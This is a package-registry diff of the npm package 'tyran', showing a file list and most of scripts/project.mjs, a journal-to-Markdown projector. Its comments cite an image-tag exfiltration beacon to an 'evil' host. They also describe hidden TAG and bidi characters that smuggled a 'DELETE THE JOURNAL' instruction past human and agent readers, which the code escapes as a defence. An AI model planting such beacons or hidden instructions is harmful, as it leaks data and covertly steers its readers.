@jjanczur/tyran 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/marketplace.json +22 -0
- package/.claude-plugin/plugin.json +22 -0
- package/CHANGELOG.md +245 -0
- package/LICENSE +201 -0
- package/README.md +468 -0
- package/agents/.gitkeep +0 -0
- package/agents/implementer.md +60 -0
- package/agents/retro.md +88 -0
- package/agents/reviewer.md +55 -0
- package/agents/scout.md +60 -0
- package/bin/tyran.mjs +172 -0
- package/hooks/HOOK-CONTRACT-MEASURED.md +377 -0
- package/hooks/hooks.json +83 -0
- package/hooks/scripts/.gitkeep +0 -0
- package/hooks/scripts/evidence-gate.mjs +705 -0
- package/hooks/scripts/hook-io.mjs +813 -0
- package/hooks/scripts/policy-gate.mjs +1402 -0
- package/hooks/scripts/pre-compact.mjs +211 -0
- package/hooks/scripts/retro-gate.mjs +191 -0
- package/hooks/scripts/secrets-gate.mjs +1683 -0
- package/hooks/scripts/session-start.mjs +358 -0
- package/hooks/scripts/write-guard.mjs +475 -0
- package/package.json +52 -0
- package/scripts/desc-budget.mjs +139 -0
- package/scripts/doctor.mjs +1267 -0
- package/scripts/hooks-check.mjs +1312 -0
- package/scripts/invisible.mjs +346 -0
- package/scripts/journal.mjs +747 -0
- package/scripts/project.mjs +981 -0
- package/scripts/scan-control-chars.mjs +547 -0
- package/scripts/scan-repo.mjs +287 -0
- package/scripts/schema.mjs +467 -0
- package/scripts/stop-check.mjs +89 -0
- package/scripts/tiers.mjs +324 -0
- package/scripts/yaml-lite.mjs +383 -0
- package/skills/browser-check/SKILL.md +118 -0
- package/skills/code-review/SKILL.md +83 -0
- package/skills/deslop/SKILL.md +97 -0
- package/skills/doctor/SKILL.md +35 -0
- package/skills/fidelity-gate/SKILL.md +132 -0
- package/skills/hello/SKILL.md +16 -0
- package/skills/pr-feedback/SKILL.md +85 -0
- package/skills/prompt-tuning/SKILL.md +102 -0
- package/skills/retro/SKILL.md +69 -0
- package/skills/root-cause/SKILL.md +89 -0
- package/skills/run/SKILL.md +285 -0
- package/skills/setup/SKILL.md +79 -0
- package/skills/skill-writing/SKILL.md +99 -0
- package/skills/status/SKILL.md +31 -0
- package/templates/.gitkeep +0 -0
- package/templates/config.yaml +44 -0
- package/templates/knowledge.yaml +23 -0
- package/templates/policies/autonomy.yaml +61 -0
- package/templates/project-command/SKILL.md +16 -0
|
@@ -0,0 +1,981 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* project — deterministic Markdown projections of a Tyran journal.
|
|
4
|
+
*
|
|
5
|
+
* The journal (`journal.jsonl`) is the only source of truth. `STATE.md` and
|
|
6
|
+
* `PROGRESS.md` are disposable views of it: regenerate them at any time,
|
|
7
|
+
* never edit them by hand. Design rules (see docs/projections.md):
|
|
8
|
+
* - deterministic: same journal bytes -> same output bytes, always;
|
|
9
|
+
* - idempotent: re-running on an unchanged journal rewrites identical files;
|
|
10
|
+
* - crash-tolerant: a truncated final line, corrupt lines, unknown event
|
|
11
|
+
* types and non-object events are reported, never fatal;
|
|
12
|
+
* - lossless: every event type in the closed set lands in a rendered
|
|
13
|
+
* section, and anything unrecognized is counted in plain sight.
|
|
14
|
+
*
|
|
15
|
+
* CLI:
|
|
16
|
+
* node project.mjs <journal.jsonl> [--out-dir <dir>] [--check]
|
|
17
|
+
* Exit: 0 ok · 1 projections drifted (--check) · 2 usage/IO error
|
|
18
|
+
*/
|
|
19
|
+
import {
|
|
20
|
+
existsSync,
|
|
21
|
+
mkdirSync,
|
|
22
|
+
readFileSync,
|
|
23
|
+
realpathSync,
|
|
24
|
+
renameSync,
|
|
25
|
+
statSync,
|
|
26
|
+
unlinkSync,
|
|
27
|
+
writeFileSync,
|
|
28
|
+
} from 'node:fs';
|
|
29
|
+
import { dirname, join, resolve } from 'node:path';
|
|
30
|
+
import { fileURLToPath } from 'node:url';
|
|
31
|
+
import { readJournal, pairSpawns } from './journal.mjs';
|
|
32
|
+
import { escapeInvisible } from './invisible.mjs';
|
|
33
|
+
|
|
34
|
+
/** Projection file names. Both are fully generated — never hand-edited. */
|
|
35
|
+
export const STATE_FILE = 'STATE.md';
|
|
36
|
+
export const PROGRESS_FILE = 'PROGRESS.md';
|
|
37
|
+
|
|
38
|
+
const GENERATED_HEADER =
|
|
39
|
+
'<!-- GENERATED by tyran scripts/project.mjs - DO NOT EDIT. Source of truth: journal.jsonl -->\n' +
|
|
40
|
+
'<!-- Regenerate: node scripts/project.mjs <journal.jsonl> --out-dir <dir> -->\n';
|
|
41
|
+
|
|
42
|
+
/** Gate results that count as closed. Anything else keeps the gate OPEN. */
|
|
43
|
+
const GATE_PASS = new Set(['pass', 'passed', 'ok', 'green', 'approved', 'closed']);
|
|
44
|
+
|
|
45
|
+
/** Longest inline value rendered in a cell or list item, in codepoints. */
|
|
46
|
+
const MAX_CELL = 160;
|
|
47
|
+
|
|
48
|
+
/** Milestones rendered in PROGRESS.md; older ones are omitted VISIBLY. */
|
|
49
|
+
const MILESTONE_TYPES = new Set(['init.created', 'plan.accepted', 'gate', 'merge', 'checkpoint']);
|
|
50
|
+
const MAX_MILESTONES = 50;
|
|
51
|
+
|
|
52
|
+
// ------------------------------------------------------------- rendering
|
|
53
|
+
|
|
54
|
+
/**
|
|
55
|
+
* The shared core of every operator-facing rendering: one line, nothing
|
|
56
|
+
* invisible, bounded length.
|
|
57
|
+
*
|
|
58
|
+
* This is where the ONE invisibility policy is applied, for the document and
|
|
59
|
+
* for the terminal alike. What is NOT shared is the medium's own escaping —
|
|
60
|
+
* pipes, backticks and angle brackets are hazards in a Markdown table and
|
|
61
|
+
* ordinary punctuation on stderr — and that is a different question from "is
|
|
62
|
+
* this codepoint invisible", not a second answer to it. Keeping the two apart
|
|
63
|
+
* is the same distinction this module already draws between the invisibility
|
|
64
|
+
* rule and the disjoint whitespace rule (ADR-21).
|
|
65
|
+
*/
|
|
66
|
+
function oneLine(value) {
|
|
67
|
+
let s;
|
|
68
|
+
if (typeof value === 'string') s = value;
|
|
69
|
+
else if (Array.isArray(value)) s = value.map((v) => (typeof v === 'string' ? v : JSON.stringify(v))).join(', ');
|
|
70
|
+
else s = JSON.stringify(value) ?? String(value);
|
|
71
|
+
// Every invisible codepoint becomes its visible escape notation. An
|
|
72
|
+
// unterminated RLO would otherwise mirror every following column of a table
|
|
73
|
+
// row — or every following character of a terminal line — so a journal value
|
|
74
|
+
// could rewrite the document a human reads (Trojan Source); and a TAG
|
|
75
|
+
// character would carry readable ASCII straight past a reader who cannot see
|
|
76
|
+
// it at all. These documents are read by AGENTS, and their content travels
|
|
77
|
+
// from subagent reports about FOREIGN repositories.
|
|
78
|
+
//
|
|
79
|
+
// Escaped, not deleted, and that is a decision with a reason: silent removal
|
|
80
|
+
// made a poisoned value and a clean one render identically. See
|
|
81
|
+
// escapeInvisible in scripts/invisible.mjs for the full argument.
|
|
82
|
+
//
|
|
83
|
+
// The membership list used to be a character class maintained BY HAND, right
|
|
84
|
+
// here, and it was the weakest of the three spellings of the rule: it removed
|
|
85
|
+
// 106 codepoints where the CI scanner removed 475, and it passed the entire
|
|
86
|
+
// TAG block (U-46). One answer now, and no list here to fall behind it.
|
|
87
|
+
//
|
|
88
|
+
// Whitespace collapsing is a SEPARATE normalization: a tab and a newline are
|
|
89
|
+
// VISIBLE characters that would break a row or a log line, so they are
|
|
90
|
+
// folded, not banned.
|
|
91
|
+
s = escapeInvisible(s)
|
|
92
|
+
.replace(/\s+/g, ' ')
|
|
93
|
+
.trim();
|
|
94
|
+
const cps = Array.from(s);
|
|
95
|
+
if (cps.length > MAX_CELL) s = cps.slice(0, MAX_CELL - 1).join('') + '…';
|
|
96
|
+
return s;
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
/**
|
|
100
|
+
* Make any journal value safe for one line of STDERR.
|
|
101
|
+
*
|
|
102
|
+
* Same invisibility policy as `inline()`, without the Markdown escaping that
|
|
103
|
+
* would put `<` in front of a human reading a terminal. A warning is an
|
|
104
|
+
* operator-facing channel and gets exactly the same protection the documents
|
|
105
|
+
* get — which it did not have until a security review put 37 invisible
|
|
106
|
+
* codepoints, and a reconstructable "DELETE THE JOURNAL", on that terminal.
|
|
107
|
+
*/
|
|
108
|
+
export function inlinePlain(value) {
|
|
109
|
+
if (value === undefined || value === null) return '(none)';
|
|
110
|
+
const s = oneLine(value);
|
|
111
|
+
return s === '' ? '(none)' : s;
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
/**
|
|
115
|
+
* Make any journal value safe for one Markdown line: no newlines (they would
|
|
116
|
+
* break a table row), no pipes/backticks (they would break the columns), no
|
|
117
|
+
* `<`/`>` (they could close the GENERATED comment or inject HTML), no `[`/`]`
|
|
118
|
+
* (Markdown link/image syntax reaching a remote host), no bidi overrides or
|
|
119
|
+
* zero-width characters (Trojan Source), and a hard length cap so one huge
|
|
120
|
+
* `data` field cannot produce a megabyte-wide table.
|
|
121
|
+
*/
|
|
122
|
+
export function inline(value) {
|
|
123
|
+
if (value === undefined || value === null) return '—';
|
|
124
|
+
const s = oneLine(value);
|
|
125
|
+
if (s === '') return '—';
|
|
126
|
+
return s
|
|
127
|
+
.replace(/&/g, '&')
|
|
128
|
+
.replace(/</g, '<')
|
|
129
|
+
.replace(/>/g, '>')
|
|
130
|
+
.replace(/\\/g, '\')
|
|
131
|
+
.replace(/\|/g, '|')
|
|
132
|
+
.replace(/`/g, '`')
|
|
133
|
+
// `[` and `]` disarm Markdown link/image syntax: without this a journal
|
|
134
|
+
// value could render as <img src="https://evil/?leak=..."> in GitHub or
|
|
135
|
+
// VS Code — a read beacon plus an exfiltration channel for journal text.
|
|
136
|
+
.replace(/\[/g, '[')
|
|
137
|
+
.replace(/\]/g, ']');
|
|
138
|
+
}
|
|
139
|
+
|
|
140
|
+
/** Natural order (`T-2` before `T-10`), total and deterministic. */
|
|
141
|
+
export function naturalCompare(a, b) {
|
|
142
|
+
const ax = String(a).match(/\d+|\D+/g) ?? [];
|
|
143
|
+
const bx = String(b).match(/\d+|\D+/g) ?? [];
|
|
144
|
+
for (let i = 0; i < Math.max(ax.length, bx.length); i++) {
|
|
145
|
+
const x = ax[i];
|
|
146
|
+
const y = bx[i];
|
|
147
|
+
if (x === undefined) return -1;
|
|
148
|
+
if (y === undefined) return 1;
|
|
149
|
+
if (x === y) continue;
|
|
150
|
+
const isNum = /^\d+$/.test(x) && /^\d+$/.test(y);
|
|
151
|
+
if (isNum) {
|
|
152
|
+
const d = Number(x) - Number(y);
|
|
153
|
+
if (d !== 0) return d < 0 ? -1 : 1;
|
|
154
|
+
} else return x < y ? -1 : 1;
|
|
155
|
+
}
|
|
156
|
+
return 0;
|
|
157
|
+
}
|
|
158
|
+
|
|
159
|
+
/** Stable sort by a natural key; ties keep their original (journal) order. */
|
|
160
|
+
function sortByKey(items, keyOf) {
|
|
161
|
+
return items
|
|
162
|
+
.map((item, i) => [item, i])
|
|
163
|
+
.sort((a, b) => naturalCompare(keyOf(a[0]), keyOf(b[0])) || a[1] - b[1])
|
|
164
|
+
.map(([item]) => item);
|
|
165
|
+
}
|
|
166
|
+
|
|
167
|
+
/** A Markdown table, or an explicitly empty marker — never a hidden section. */
|
|
168
|
+
function table(headers, rows) {
|
|
169
|
+
if (rows.length === 0) return '_none_\n';
|
|
170
|
+
const head = `| ${headers.join(' | ')} |\n|${headers.map(() => '---').join('|')}|\n`;
|
|
171
|
+
return head + rows.map((r) => `| ${r.join(' | ')} |\n`).join('');
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
function list(items) {
|
|
175
|
+
if (items.length === 0) return '_none_\n';
|
|
176
|
+
return items.map((s) => `- ${s}\n`).join('');
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
// ------------------------------------------------------------------ fold
|
|
180
|
+
|
|
181
|
+
/**
|
|
182
|
+
* Fold a journal read into the projection state. Pure: no clock, no I/O.
|
|
183
|
+
* Every closed-set event type must hit a branch here; anything else is
|
|
184
|
+
* counted in `unknownTypes` so a newer Tyran's events stay visible to an
|
|
185
|
+
* older projector instead of vanishing.
|
|
186
|
+
*/
|
|
187
|
+
export function fold({ events = [], truncatedTail = false, badLines = [] } = {}) {
|
|
188
|
+
const state = {
|
|
189
|
+
initiatives: [],
|
|
190
|
+
total: 0,
|
|
191
|
+
malformed: 0,
|
|
192
|
+
byType: new Map(),
|
|
193
|
+
unknownTypes: new Map(),
|
|
194
|
+
truncatedTail,
|
|
195
|
+
corruptLines: badLines.length,
|
|
196
|
+
firstTs: null,
|
|
197
|
+
lastTs: null,
|
|
198
|
+
lastEvent: null,
|
|
199
|
+
checkpoint: null,
|
|
200
|
+
planAccepted: null,
|
|
201
|
+
created: null,
|
|
202
|
+
tickets: new Map(),
|
|
203
|
+
agents: [],
|
|
204
|
+
gates: new Map(),
|
|
205
|
+
leases: new Map(),
|
|
206
|
+
mismatchedReleases: [],
|
|
207
|
+
decisions: [],
|
|
208
|
+
retro: [],
|
|
209
|
+
errors: [],
|
|
210
|
+
milestones: [],
|
|
211
|
+
unusableAgentNames: [],
|
|
212
|
+
ambiguousAgents: [],
|
|
213
|
+
};
|
|
214
|
+
|
|
215
|
+
/**
|
|
216
|
+
* Who is still working is answered ONCE, by journal.pairSpawns, and rendered
|
|
217
|
+
* here (ADR-21). This function used to compute its own answer with its own
|
|
218
|
+
* rule — "prefer the running spawn of that agent working on THAT ticket,
|
|
219
|
+
* else the oldest open spawn of the same name" — while pairSpawns paired
|
|
220
|
+
* strictly FIFO by name and excluded unusable names outright. The two
|
|
221
|
+
* disagreed on both axes, and the operator got both answers at once: for a
|
|
222
|
+
* spawn whose agent name carried a zero-width joiner, STATE.md said
|
|
223
|
+
* **running (no report yet)** while doctor, reading pairSpawns, saw no open
|
|
224
|
+
* spawn at all. Two artefacts that doctor itself produces, contradicting
|
|
225
|
+
* each other about the one question the state layer exists to answer.
|
|
226
|
+
*
|
|
227
|
+
* The ticket-first rule is GONE, not parameterized. Its only stated
|
|
228
|
+
* justification was journals written before ADR-18, which can hold two open
|
|
229
|
+
* spawns of one name — and that population was measured before this change:
|
|
230
|
+
* zero. Not one such journal exists in this repository, in its entire git
|
|
231
|
+
* history, or anywhere on the machine that develops it; the only .jsonl ever
|
|
232
|
+
* committed is the demo fixture, which has one spawn per name. Journals are
|
|
233
|
+
* append-only, so a rule kept "for old files" cannot ever be retired later —
|
|
234
|
+
* it is a permanent second semantics, not a migration window. ADR-18 already
|
|
235
|
+
* makes `append` REFUSE the state ticket-first existed to disambiguate, so
|
|
236
|
+
* the rule was resolving an ambiguity the system had declared illegal, and
|
|
237
|
+
* resolving it differently from every other consumer.
|
|
238
|
+
*
|
|
239
|
+
* When that state does appear (a hand-edited file), it is now REPORTED
|
|
240
|
+
* rather than silently guessed at — see `warnings()` — which is what ADR-18
|
|
241
|
+
* asks for: make the ambiguity visible, do not have each reader guess.
|
|
242
|
+
*/
|
|
243
|
+
const paired = pairSpawns(events);
|
|
244
|
+
const reportForSpawn = new Map(paired.pairs.map((p) => [p.spawn, p.report]));
|
|
245
|
+
const orphanReports = new Set(paired.orphanReports);
|
|
246
|
+
const unusableEvents = new Map(paired.unusable.map((u) => [u.event, u.problem]));
|
|
247
|
+
for (const [raw, problem] of paired.badNames) state.unusableAgentNames.push({ raw, problem });
|
|
248
|
+
for (const [agent, count] of paired.ambiguous) state.ambiguousAgents.push({ agent, count });
|
|
249
|
+
|
|
250
|
+
const ticketOf = (id, seenTs) => {
|
|
251
|
+
const key = String(id);
|
|
252
|
+
if (!state.tickets.has(key)) {
|
|
253
|
+
state.tickets.set(key, {
|
|
254
|
+
id: key,
|
|
255
|
+
declared: false,
|
|
256
|
+
title: null,
|
|
257
|
+
deps: null,
|
|
258
|
+
agents: [],
|
|
259
|
+
report: null,
|
|
260
|
+
review: null,
|
|
261
|
+
merge: null,
|
|
262
|
+
lastTs: seenTs ?? null,
|
|
263
|
+
});
|
|
264
|
+
}
|
|
265
|
+
const t = state.tickets.get(key);
|
|
266
|
+
if (seenTs) t.lastTs = seenTs;
|
|
267
|
+
return t;
|
|
268
|
+
};
|
|
269
|
+
|
|
270
|
+
for (const event of events) {
|
|
271
|
+
if (typeof event !== 'object' || event === null || Array.isArray(event)) {
|
|
272
|
+
state.malformed++;
|
|
273
|
+
continue;
|
|
274
|
+
}
|
|
275
|
+
state.total++;
|
|
276
|
+
const ev = typeof event.ev === 'string' ? event.ev : '(missing ev)';
|
|
277
|
+
const ts = typeof event.ts === 'string' ? event.ts : null;
|
|
278
|
+
const actor = typeof event.actor === 'string' ? event.actor : null;
|
|
279
|
+
const data = typeof event.data === 'object' && event.data !== null && !Array.isArray(event.data) ? event.data : {};
|
|
280
|
+
state.byType.set(ev, (state.byType.get(ev) ?? 0) + 1);
|
|
281
|
+
if (typeof event.init === 'string' && event.init !== '' && !state.initiatives.includes(event.init)) {
|
|
282
|
+
state.initiatives.push(event.init);
|
|
283
|
+
}
|
|
284
|
+
if (ts) {
|
|
285
|
+
if (state.firstTs === null) state.firstTs = ts;
|
|
286
|
+
state.lastTs = ts;
|
|
287
|
+
}
|
|
288
|
+
state.lastEvent = { ev, ts, actor };
|
|
289
|
+
if (MILESTONE_TYPES.has(ev)) state.milestones.push({ ev, ts, actor, data });
|
|
290
|
+
|
|
291
|
+
switch (ev) {
|
|
292
|
+
case 'init.created':
|
|
293
|
+
state.created = { ts, actor, data };
|
|
294
|
+
break;
|
|
295
|
+
case 'plan.accepted':
|
|
296
|
+
state.planAccepted = { ts, actor, data };
|
|
297
|
+
break;
|
|
298
|
+
case 'ticket.created': {
|
|
299
|
+
const t = ticketOf(data.id ?? '(no id)', ts);
|
|
300
|
+
t.declared = true;
|
|
301
|
+
t.title = data.title ?? data.text ?? null;
|
|
302
|
+
t.deps = Array.isArray(data.deps) ? data.deps : null;
|
|
303
|
+
break;
|
|
304
|
+
}
|
|
305
|
+
case 'spawn': {
|
|
306
|
+
const agent = {
|
|
307
|
+
agent: data.agent ?? '(no agent)',
|
|
308
|
+
role: data.role ?? null,
|
|
309
|
+
model: data.model ?? null,
|
|
310
|
+
ticket: data.ticket ?? null,
|
|
311
|
+
worktree: data.worktree ?? null,
|
|
312
|
+
spawnTs: ts,
|
|
313
|
+
status: 'running',
|
|
314
|
+
verdict: null,
|
|
315
|
+
reportTs: null,
|
|
316
|
+
};
|
|
317
|
+
// An unusable name is NOT a correlator, so pairSpawns excludes it — and
|
|
318
|
+
// this row must say so. The two answers that were available were
|
|
319
|
+
// "invisible" and "running", and the operator was getting both. It is
|
|
320
|
+
// neither: a silent exclusion is the failure ADR-19 correction 1
|
|
321
|
+
// forbids outright ("a skipped item must be counted and named, even on
|
|
322
|
+
// a clean run"), and rendering it as an ordinary running agent is the
|
|
323
|
+
// false picture of state that ADR-18 calls worse than no picture. So:
|
|
324
|
+
// visible, and visibly unusable, in both artefacts.
|
|
325
|
+
if (unusableEvents.has(event)) {
|
|
326
|
+
agent.status = 'unusable agent name (excluded from pairing)';
|
|
327
|
+
} else {
|
|
328
|
+
const report = reportForSpawn.get(event);
|
|
329
|
+
if (report) {
|
|
330
|
+
agent.status = 'reported';
|
|
331
|
+
agent.verdict = report.data?.verdict ?? null;
|
|
332
|
+
agent.reportTs = typeof report.ts === 'string' ? report.ts : null;
|
|
333
|
+
if (agent.ticket == null && report.data?.ticket != null) agent.ticket = report.data.ticket;
|
|
334
|
+
}
|
|
335
|
+
}
|
|
336
|
+
state.agents.push(agent);
|
|
337
|
+
if (data.ticket != null) ticketOf(data.ticket, ts).agents.push(agent.agent);
|
|
338
|
+
break;
|
|
339
|
+
}
|
|
340
|
+
case 'report': {
|
|
341
|
+
// A report that pairSpawns matched to a spawn has already been applied
|
|
342
|
+
// to that spawn's row above — this branch only has to render what
|
|
343
|
+
// pairing left over, so the two never compute the same thing twice.
|
|
344
|
+
if (orphanReports.has(event) || unusableEvents.has(event)) {
|
|
345
|
+
state.agents.push({
|
|
346
|
+
agent: data.agent ?? '(no agent)',
|
|
347
|
+
role: null,
|
|
348
|
+
model: null,
|
|
349
|
+
ticket: data.ticket ?? null,
|
|
350
|
+
worktree: null,
|
|
351
|
+
spawnTs: null,
|
|
352
|
+
status: unusableEvents.has(event)
|
|
353
|
+
? 'unusable agent name (excluded from pairing)'
|
|
354
|
+
: 'reported (no spawn event)',
|
|
355
|
+
verdict: data.verdict ?? null,
|
|
356
|
+
reportTs: ts,
|
|
357
|
+
});
|
|
358
|
+
}
|
|
359
|
+
if (data.ticket != null) {
|
|
360
|
+
ticketOf(data.ticket, ts).report = { verdict: data.verdict ?? null, ts, by: data.agent ?? actor };
|
|
361
|
+
}
|
|
362
|
+
break;
|
|
363
|
+
}
|
|
364
|
+
case 'gate': {
|
|
365
|
+
const kind = String(data.kind ?? '(no kind)');
|
|
366
|
+
const prev = state.gates.get(kind);
|
|
367
|
+
state.gates.set(kind, {
|
|
368
|
+
kind,
|
|
369
|
+
result: data.result ?? null,
|
|
370
|
+
ts,
|
|
371
|
+
evidence: data.evidence_ref ?? data.evidence ?? null,
|
|
372
|
+
count: (prev?.count ?? 0) + 1,
|
|
373
|
+
});
|
|
374
|
+
break;
|
|
375
|
+
}
|
|
376
|
+
// `review`/`merge` require data.ticket, but a hand-written or older
|
|
377
|
+
// journal may omit it — bucket those under a visible pseudo-ticket
|
|
378
|
+
// instead of dropping the event (silent loss is the worse failure).
|
|
379
|
+
case 'review':
|
|
380
|
+
ticketOf(data.ticket ?? '(no ticket)', ts).review = {
|
|
381
|
+
verdict: data.verdict ?? null,
|
|
382
|
+
by: data.by ?? actor,
|
|
383
|
+
ts,
|
|
384
|
+
};
|
|
385
|
+
break;
|
|
386
|
+
case 'merge':
|
|
387
|
+
ticketOf(data.ticket ?? '(no ticket)', ts).merge = {
|
|
388
|
+
sha: data.sha ?? null,
|
|
389
|
+
mode: data.mode ?? null,
|
|
390
|
+
ts,
|
|
391
|
+
};
|
|
392
|
+
break;
|
|
393
|
+
case 'decision':
|
|
394
|
+
state.decisions.push({ id: data.id ?? '(no id)', text: data.text ?? null, ts, actor });
|
|
395
|
+
break;
|
|
396
|
+
case 'lease.acquired': {
|
|
397
|
+
const key = String(data.resource ?? '(no resource)');
|
|
398
|
+
state.leases.set(key, { resource: key, holder: data.holder ?? null, ts });
|
|
399
|
+
break;
|
|
400
|
+
}
|
|
401
|
+
case 'lease.released': {
|
|
402
|
+
const key = String(data.resource ?? '(no resource)');
|
|
403
|
+
const held = state.leases.get(key);
|
|
404
|
+
// Mirrors journal.tail(): only the current holder can free a lease.
|
|
405
|
+
if (held && held.holder === data.holder) state.leases.delete(key);
|
|
406
|
+
else state.mismatchedReleases.push({ resource: key, by: data.holder ?? null, holder: held?.holder ?? null, ts });
|
|
407
|
+
break;
|
|
408
|
+
}
|
|
409
|
+
case 'checkpoint':
|
|
410
|
+
state.checkpoint = { phase: data.phase ?? null, nextSteps: data.next_steps, ts, actor };
|
|
411
|
+
break;
|
|
412
|
+
case 'retro.entry':
|
|
413
|
+
state.retro.push({ kind: data.kind ?? null, target: data.target ?? null, confidence: data.confidence ?? null, ts });
|
|
414
|
+
break;
|
|
415
|
+
case 'error':
|
|
416
|
+
state.errors.push({ class: data.class ?? null, detail: data.detail ?? null, ts, actor });
|
|
417
|
+
break;
|
|
418
|
+
default:
|
|
419
|
+
state.unknownTypes.set(ev, (state.unknownTypes.get(ev) ?? 0) + 1);
|
|
420
|
+
}
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
const tickets = sortByKey([...state.tickets.values()], (t) => t.id);
|
|
424
|
+
const merged = tickets.filter((t) => t.merge !== null).length;
|
|
425
|
+
state.ticketList = tickets;
|
|
426
|
+
state.merged = merged;
|
|
427
|
+
state.percent = tickets.length === 0 ? 0 : Math.round((merged / tickets.length) * 100);
|
|
428
|
+
state.openGates = [...state.gates.values()].filter(
|
|
429
|
+
(g) => !GATE_PASS.has(String(g.result ?? '').toLowerCase()),
|
|
430
|
+
);
|
|
431
|
+
return state;
|
|
432
|
+
}
|
|
433
|
+
|
|
434
|
+
/** Human-readable status of one ticket, derived from the strongest signal. */
|
|
435
|
+
export function ticketStatus(t) {
|
|
436
|
+
if (t.merge) return `merged (${t.merge.sha ?? 'no sha'})`;
|
|
437
|
+
if (t.review) return `review: ${t.review.verdict ?? 'no verdict'}`;
|
|
438
|
+
if (t.report) return `reported: ${t.report.verdict ?? 'no verdict'}`;
|
|
439
|
+
if (t.agents.length > 0) return 'in progress';
|
|
440
|
+
return 'open';
|
|
441
|
+
}
|
|
442
|
+
|
|
443
|
+
/** The one-line progress banner; also the H1 of PROGRESS.md. */
|
|
444
|
+
export function progressLine(state) {
|
|
445
|
+
const phase = state.checkpoint?.phase ?? null;
|
|
446
|
+
return `PROGRESS: ${state.percent}% · ${state.merged}/${state.ticketList.length} tickets merged · phase: ${
|
|
447
|
+
phase == null || String(phase).trim() === '' ? '(none)' : inline(phase)
|
|
448
|
+
}`;
|
|
449
|
+
}
|
|
450
|
+
|
|
451
|
+
/**
|
|
452
|
+
* Warnings for stderr — surfaced, never fatal.
|
|
453
|
+
*
|
|
454
|
+
* STDERR IS AN OUTPUT CHANNEL, and every journal value that reaches it goes
|
|
455
|
+
* through `inline()` exactly like a value reaching a document.
|
|
456
|
+
*
|
|
457
|
+
* That was not true until a security review demonstrated it. `ev` and
|
|
458
|
+
* `init` were interpolated RAW here, and a journal carrying a right-to-left
|
|
459
|
+
* override plus 18 TAG characters in those fields put 37 invisible codepoints
|
|
460
|
+
* on the operator's terminal, spelling "DELETE THE JOURNAL" where nothing was
|
|
461
|
+
* visible, with the override mirroring the rest of the line. Twenty-eight
|
|
462
|
+
* lines below, `initiativeName()` was passing the very same `state.initiatives`
|
|
463
|
+
* through `inline()` on its way into the document — the same value, sanitized
|
|
464
|
+
* for the file and raw for the human, inside one function. That is the third
|
|
465
|
+
* spelling of the rule reappearing as a third spelling of WHERE the rule
|
|
466
|
+
* applies, which is the same defect wearing different clothes (ADR-21).
|
|
467
|
+
*
|
|
468
|
+
* The fuzz that should have caught it swept `STATE.md` and `PROGRESS.md`. The
|
|
469
|
+
* channel it did not sweep was the one that leaked, so the fuzz now sweeps
|
|
470
|
+
* every channel this module can write to.
|
|
471
|
+
*/
|
|
472
|
+
export function warnings(state) {
|
|
473
|
+
const out = [];
|
|
474
|
+
if (state.truncatedTail) out.push('journal has a truncated final line (crash mid-write) — it was skipped');
|
|
475
|
+
if (state.corruptLines > 0) out.push(`journal has ${state.corruptLines} corrupt line(s) mid-file — they were skipped`);
|
|
476
|
+
if (state.malformed > 0) out.push(`${state.malformed} line(s) parsed to a non-object value — they were skipped`);
|
|
477
|
+
for (const [ev, n] of sortByKey([...state.unknownTypes.entries()], (e) => e[0])) {
|
|
478
|
+
out.push(`unknown event type "${inlinePlain(ev)}" x${n} — counted but not folded (newer Tyran?)`);
|
|
479
|
+
}
|
|
480
|
+
if (state.initiatives.length > 1) {
|
|
481
|
+
out.push(
|
|
482
|
+
`journal mixes ${state.initiatives.length} initiatives: ${state.initiatives.map((i) => inlinePlain(i)).join(', ')}`,
|
|
483
|
+
);
|
|
484
|
+
}
|
|
485
|
+
if (state.mismatchedReleases.length > 0) {
|
|
486
|
+
out.push(`${state.mismatchedReleases.length} lease release(s) by a non-holder — leases stay open`);
|
|
487
|
+
}
|
|
488
|
+
// Never silent (ADR-19 correction 1): an event excluded from spawn/report
|
|
489
|
+
// pairing is exactly the fact a reader must not have to infer from an
|
|
490
|
+
// unexplained gap in the table.
|
|
491
|
+
for (const { raw, problem } of state.unusableAgentNames) {
|
|
492
|
+
out.push(`unusable data.agent ${inlinePlain(raw)}: ${problem} — excluded from spawn/report pairing`);
|
|
493
|
+
}
|
|
494
|
+
// The state ADR-18 makes unrepresentable through `append`, and which the
|
|
495
|
+
// projection no longer silently guesses at now that ticket-first is gone.
|
|
496
|
+
for (const { agent, count } of state.ambiguousAgents) {
|
|
497
|
+
out.push(
|
|
498
|
+
`agent ${inlinePlain(agent)} has ${count} open spawns — the journal was hand-edited or written ` +
|
|
499
|
+
'before ADR-18; spawn/report pairing for this name is ambiguous and reports pair oldest-first',
|
|
500
|
+
);
|
|
501
|
+
}
|
|
502
|
+
return out;
|
|
503
|
+
}
|
|
504
|
+
|
|
505
|
+
// ------------------------------------------------------------- documents
|
|
506
|
+
|
|
507
|
+
function initiativeName(state) {
|
|
508
|
+
if (state.initiatives.length === 0) return '(none)';
|
|
509
|
+
return state.initiatives.map((i) => inline(i)).join(', ');
|
|
510
|
+
}
|
|
511
|
+
|
|
512
|
+
function renderState(state) {
|
|
513
|
+
const cp = state.checkpoint;
|
|
514
|
+
const parts = [GENERATED_HEADER, `\n# STATE — ${initiativeName(state)}\n`];
|
|
515
|
+
|
|
516
|
+
parts.push('\n## Checkpoint\n\n');
|
|
517
|
+
parts.push(
|
|
518
|
+
list([
|
|
519
|
+
`**Phase:** ${cp ? inline(cp.phase) : '_none_'}`,
|
|
520
|
+
`**Checkpoint written:** ${cp ? inline(cp.ts) : '_none_'} by ${cp ? inline(cp.actor) : '_none_'}`,
|
|
521
|
+
`**Last journal event:** ${state.lastEvent ? `\`${inline(state.lastEvent.ev)}\`` : '_none_'} at ${
|
|
522
|
+
state.lastEvent ? inline(state.lastEvent.ts) : '_none_'
|
|
523
|
+
} by ${state.lastEvent ? inline(state.lastEvent.actor) : '_none_'}`,
|
|
524
|
+
`**Plan accepted:** ${state.planAccepted ? inline(state.planAccepted.ts) : '_none_'}`,
|
|
525
|
+
`**Progress:** ${progressLine(state)}`,
|
|
526
|
+
]),
|
|
